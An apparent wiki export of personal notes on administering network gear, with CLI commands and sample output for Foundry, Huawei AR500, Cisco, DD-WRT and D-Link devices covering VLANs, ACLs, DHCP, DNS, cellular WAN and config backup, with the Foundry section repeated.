link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Huawei AR500

2022-06-21T08:26:46Z

Porcelinux:

https://support.huawei.com/hedex/hdx.do?docid=EDOC1000163884&lang=en&idPath=24030814%7C21432787%7C21430822%7C22318700%7C250415553

= DHCP =
<pre>
[Router] interface vlanif 10
[Router-Vlanif10] dhcp select interface
[Router-Vlanif10] dhcp server lease day 30
[Router-Vlanif10] dhcp server domain-name huawei.com
[Router-Vlanif10] dhcp server dns-list 10.1.1.2
[Router-Vlanif10] dhcp server excluded-ip-address 10.1.1.2
[Router-Vlanif10] dhcp server static-bind ip-address 10.1.1.100 mac-address 286e-d488-b684
[Router-Vlanif10] quit
</pre>

Router-language

2022-05-26T12:57:31Z

Porcelinux: /* Cisco */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing THISSSS
nvram show|grep THISSSS

* unset all variables named/containing THISSSS
for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>